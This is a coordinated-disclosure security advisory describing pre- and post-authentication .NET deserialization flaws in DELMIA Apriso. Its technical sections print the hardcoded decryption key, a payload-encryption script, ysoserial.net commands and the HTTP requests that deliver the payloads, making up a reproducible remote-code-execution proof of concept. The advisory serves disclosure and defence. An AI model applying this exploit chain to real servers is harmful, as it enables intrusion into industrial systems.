Multiple vulnerabilities in Delmia Apriso 2019 to 2024
28/11/2024 - Download
Product
Delmia Apriso
Severity
Critical
Fixed Version(s)
KB article addresses the vulnerability for affected versions
Affected Version(s)
CVE Number
CVE-2024-3300, CVE-2024-3301
Authors
Description
Presentation
DELMIA Apriso is a Manufacturing Operations Management (MOM) and Manufacturing Execution System (MES) solution edited by Dassault Systèmes (3DS).
Issue(s)
Synacktiv discovered multiple vulnerabilities in Delmia Apriso release 2019 through release 2024:
-
CVE-2024-3300: Pre-authentication Unsafe .NET object deserialization vulnerability.
- CVE-2024-3301: Post-authentication Unsafe .NET object deserialization vulnerability.
Dassault Systèmes Security Advisories are available at https://www.3ds.com/vulnerability/advisories
Affected versions
An up-to-date list of affected versions is published on the dedicated knowledge base article: https://support.3ds.com/knowledge-base/?q=docid:QA00000334685
Timeline
Date | Description |
---|---|
2024.03.29 | Advisory sent to 3DS.Information-Security@3ds.com |
2024.03.29 | Acknowledgement from Dassault Systèmes |
2024.04.04 | Vulnerabilities confirmed by Dassault Systèmes |
2024.05.30 | Assigned CVE numbers and KB article published by Dassault Systèmes on their advisories page. |
2024.11.28 | Public release |
Technical details
Pre-authentication Unsafe .NET object deserialization
Description
In DELMIA Apriso, the /Apriso/Portal/Kiosk/QueryLogin.aspx
page unsafely deserializes the data passed through the EncryptedLogonInfo
parameter.
Indeed, such parameter is fed into the LogonInfoString
property, which in turn is decrypted by the getter method of the InternalLogonInfo
and ExternalLogonInfo
properties. Both properties are accessed in the Page_Load
method before the authentication checks occur.
namespace FlexNet.Portal.WebUI.Portal.Kiosk;
public class QueryLogin : Page
{
protected WebQueryLoginController Controller;
private QueryString _queryString;
private string _logonInfoString = string.Empty;
private InternalQueryStringLogonInfo _internalLogonInfo;
private ExternalQueryStringLogonInfo _externalLogonInfo;
private QueryString QueryString => _queryString ?? (_queryString = QueryString.Parse(HttpContext.Current.Request.Url.Query));
private string LogonInfoString
{
get
{
if (_logonInfoString == string.Empty) {
_logonInfoString = QueryString.LogonInfo ?? base.Request.Form["EncryptedLogonInfo"];
}
return _logonInfoString;
}
}
// [...]
private InternalQueryStringLogonInfo InternalLogonInfo
{
get
{
if (_internalLogonInfo == null && !string.IsNullOrEmpty(LogonInfoString)) {
ref InternalQueryStringLogonInfo internalLogonInfo = ref _internalLogonInfo;
QueryStringLogonInfo obj = QueryStringLogonInfo.Decrypt(LogonInfoString);
internalLogonInfo = (InternalQueryStringLogonInfo)(object)((obj is InternalQueryStringLogonInfo) ? obj : null);
}
return _internalLogonInfo;
}
}
private ExternalQueryStringLogonInfo ExternalLogonInfo
{
get
{
if (_externalLogonInfo == null && !string.IsNullOrEmpty(LogonInfoString)) {
ref ExternalQueryStringLogonInfo externalLogonInfo = ref _externalLogonInfo;
QueryStringLogonInfo obj = QueryStringLogonInfo.Decrypt(LogonInfoString);
externalLogonInfo = (ExternalQueryStringLogonInfo)(object)((obj is ExternalQueryStringLogonInfo) ? obj : null);
}
return _externalLogonInfo;
}
}
// [...]
private void Page_Load(object sender, EventArgs e)
{
// [...]
if (WebPortalSession.Current != null && (int)QueryLoginType == 1 && (InternalLogonInfo.SessionID.Guid == WebPortalSession.Current.ID.Guid || (WebPortalSession.Current.ParentSessionID != null && InternalLogonInfo.SessionID.Guid == WebPortalSession.Current.ParentSessionID.Guid))) {
// [...]
FlexNetPortal.Redirect((IPortalPage)(object)PortalPage.Transaction(WebPortalSession.Current.ActiveTab));
}
if ((int)QueryLoginType == 1) {
CheckPreconditions((QueryStringLogonInfo)(object)InternalLogonInfo);
} else {
CheckPreconditions((QueryStringLogonInfo)(object)ExternalLogonInfo);
}
OutcomeCollection val2 = default(OutcomeCollection);
Outcome val3 = ((LoginController)Controller).LogIn(GetLoginData(BaseSettings<SecuritySettings>.Current.StandardAuthenticationMode), ref val2);
// [...]
Moreover, the Decrypt
method of the QueryStringLogonInfo
class uses a hardcoded cryptographic key. Upon successful decryption, the obtained value is then passed to DeserializeFromBinary
method which relies on the insecure BinaryFormatter
class.
namespace FlexNet.SystemServices.Security;
[Serializable]
public class QueryStringLogonInfo
{
// [...]
public static QueryStringLogonInfo Decrypt(string info)
{
Assertion.ArgumentIsNotNull(info, "info");
string s = Enigma.Decrypt("{37B6E94F-F0FB-4f90-A495-A4CD6C45BEB3}", info);
byte[] serializedContent = Convert.FromBase64String(s);
object obj = Serializer.DeserializeFromBinary(serializedContent);
if (obj is InternalQueryStringLogonInfo result)
{
return result;
}
return obj as ExternalQueryStringLogonInfo;
}
// [...]
In order to craft the payloads more easily, the Enigma
encryption routine was exported in a standalone script.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Enigma
{
private const int KeySize = 256;
private const int KeySizeInBytes = 32;
private const int BlockSize = 256;
private const int BlockSizeInBytes = 32;
public static void Main(string[] args) {
Console.WriteLine(Encrypt(args[0], args[1]));
}
private static byte[] GetIV(string key)
{
byte[] array = new byte[32];
byte[] bytes = Encoding.UTF8.GetBytes(key);
Array.Copy(bytes, 0, array, 0, (bytes.Length > 32) ? 32 : bytes.Length);
return array;
}
private static byte[] GetKey(string key)
{
byte[] array = new byte[32];
byte[] bytes = Encoding.UTF8.GetBytes(key);
Array.Reverse(bytes);
Array.Copy(bytes, 0, array, 0, (bytes.Length > 32) ? 32 : bytes.Length);
return array;
}
public static string Encrypt(string key, string decrypted)
{
SymmetricAlgorithm symmetricAlgorithm = SymmetricAlgorithm.Create();
symmetricAlgorithm.BlockSize = 256;
symmetricAlgorithm.KeySize = 256;
MemoryStream memoryStream = new MemoryStream();
ICryptoTransform transform = symmetricAlgorithm.CreateEncryptor(GetKey(key), GetIV(key));
CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
StreamWriter streamWriter = new StreamWriter(cryptoStream);
streamWriter.Write(decrypted);
streamWriter.Flush();
cryptoStream.FlushFinalBlock();
byte[] array = new byte[memoryStream.Length];
memoryStream.Position = 0L;
memoryStream.Read(array, 0, (int)memoryStream.Length);
return Convert.ToBase64String(array, 0, array.Length);
}
}
Using YSoSerial.Net, the following commands were used to produce a serialized gadget that executes code assembly to insert a custom header in the HTTP response:
> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\enigma_encrypt.cs
> gc .\Exploit.cs
using System.Web;
public class E
{
public E() {
HttpContext.Current.Response.Headers["DELMIA-APRISO-DESERIALIZATION"] = "It works!";
}
}
> $payload=(w:\ysoserial.net\ysoserial.exe -f BinaryFormatter -g XamlAssemblyLoadFromFile -c "Exploit.cs;System.dll;System.Web.dll")
> W:\enigma_encrypt.exe '{37B6E94F-F0FB-4f90-A495-A4CD6C45BEB3}' "$payload"
Xen6Kc3IzHt+doV+Pj/35uNLZ3O2hyUIhvrXOfqC2i3eUo9SbanyGLfuvLrjYrU2TxOlCK0CK87B1VxEE4VRSbVvlIbN5o0zg9BB4GAlDwIlE4hbLH9QLrU9cmOei3jb9h2z8IIukYZG5haCIc[...]
Then, the following request was issued to deliver the payload:
POST /Apriso/Portal/Kiosk/QueryLogin.aspx HTTP/2
Host: apriso.local
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11308
EncryptedLogonInfo=Xen6Kc3IzHt+doV+Pj/35uNLZ3O2hyUIhvrXOfqC2i3eUo[...]axT5EL/YYlWkIr4AE81UrJ
The application returned the expected custom header.
HTTP/2 302 Found
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Location: https://apriso.local/Apriso/Portal/Kiosk/StartLogin.aspx?Message=Authentication+ticket+has+expired.&TabID=0
Server: Microsoft-IIS/10.0
Delmia-Apriso-Deserialization: it works!
[...]
Impact
An attacker on the network could execute arbitrary code on the affected server and achieve remote code execution.
Recommendation
Remediation guidelines and patch packages are available on the dedicated knowledge base article:
https://support.3ds.com/knowledge-base/?q=docid:QA00000334685
Post-authentication Unsafe .NET object deserialization
Description
This deserialization vector resembles a second-order injection. Indeed, upon successful login, the application stores a serialized object in the user session for future use by another endpoint.
In the RedirectBasedOnQueryString
method of the LoginRedirectHelper
class, the value of the SerializedInputs
parameter is saved in the HTTP session with the identifier transmitted through the InputID
parameter.
namespace FlexNet.Portal.WebUI.Portal;
public static class LoginRedirectHelper
{
// [...]
internal static void Redirect(bool handleDefaultMenuItem)
{
Platform platform = DeviceClass.Current.Platform;
if (((object)(Platform)(ref platform)).Equals((object)(Platform)0) && !IsRedirectingToAprisoPortal() && WebPortalSession.Current.UserSession.CheckNotices()) {
RedirectToNotice(handleDefaultMenuItem);
} else {
RedirectBasedOnQueryString(handleDefaultMenuItem);
}
}
// [...]
internal static void RedirectBasedOnQueryString(bool handleDefaultMenuItem)
{
HttpRequest request = HttpContext.Current.Request;
// [...]
if (request.QueryString["TargetUrl"] != null)
{
QueryString val2 = QueryString.Parse(request.Url.Query);
if (request.Form["SerializedInputs"] != null)
{
HttpContext.Current.Session.Add(val2["InputID"], request.Form["SerializedInputs"]);
}
InitHistory();
FlexNetPortal.Redirect(val2.TargetUrl);
}
// [...]
The ExecutionOperation
page loads back the value from the session then passes it to DeserializeFromBinary
.
namespace FlexNet.Portal.WebUI.Portal;
public class ExecuteOperation : Page
{
// [...]
private PropertyBag Inputs
{
get
{
if (_inputs == null)
{
_inputs = new PropertyBag();
if (QueryString["SerializedInputs"] != null)
{
_inputs = (PropertyBag)Serializer.DeserializeFromXml(Enigma.Decrypt("SerializedInputs", QueryString["SerializedInputs"]), typeof(PropertyBag));
} else if (QueryString["InputID"] != null) {
_inputs = (PropertyBag)Serializer.DeserializeFromBinary(Convert.FromBase64String((string)HttpContext.Current.Session[QueryString["InputID"]]));
HttpContext.Current.Session.Remove(QueryString["InputID"]);
}
// [...]
In this case, the serialized object is not encrypted. Thus, the payload can be crafted as follows:
> w:\ysoserial.net\ysoserial.exe -f BinaryFormatter -g XamlAssemblyLoadFromFile -c "Exploit.cs;System.dll;System.Web.dll"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5[...]
First, the payload was loaded with the following login request:
POST /Apriso/Portal/Kiosk/Login.aspx?TargetUrl=&InputID=DESERIALIZATION_IDENTIFIER_123 HTTP/2
Host: apriso.local
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 9023
Cookie: ASP.NET_SessionId=***
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPaA8FDzhkYzQyYjQxMjBhZDQ1OGTOwtTWVXCVU+jdn7guQuk0oTiMd6CcKE9IfPPcNik6CA==&__VIEWSTATEGENERATOR=1E2E81CC
&__EVENTVALIDATION=/wEdAAe0wRFl+BKN***&ctl04$LoginTextBox=user&ctl04$PasswordTextbox=***
&ctl04$LogInButton=Log In&ctl04$HiddenValue=Initial Value&ctl04$HiddenValue2=Initial Value
&SerializedInputs=<@urlencode>AAEAAAD/////AQAAAAAAAAAMAgAAAElTe[...]RlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==<@/urlencode>
---
HTTP/2 302 Found
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
Location: https://apriso.local/Apriso/Portal/
Server: Microsoft-IIS/10.0
Set-Cookie: WebPortalSession=***; path=/; HttpOnly
Set-Cookie: .ASPXAUTH=***; path=/; HttpOnly; SameSite=Lax
Then, the following request was issued to trigger the deserialization. It should be noted that the OperationCode
parameter should be set to a valid value which depends on the operations implemented by the targeted Apriso instance.
POST /Apriso/Portal/ExecuteOperation.aspx?OperationCode=<OPERATION_CODE>&InputID=DESERIALIZATION_IDENTIFIER_123 HTTP/2
Host: apriso.local
User-Agent: Mozilla/5.0
Cookie: ASP.NET_SessionId=***; WebPortalSession=***; .ASPXAUTH=***
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
---
HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXAUTH=***; path=/; HttpOnly; SameSite=Lax
Delmia-Apriso-Deserialization: It works!
Impact
Regardless of their privileges, authenticated attackers could remotely execute arbitrary code on the affected server.
Recommendation
Remediation guidelines and patch packages are available on the dedicated knowledge base article:
https://support.3ds.com/knowledge-base/?q=docid:QA00000334685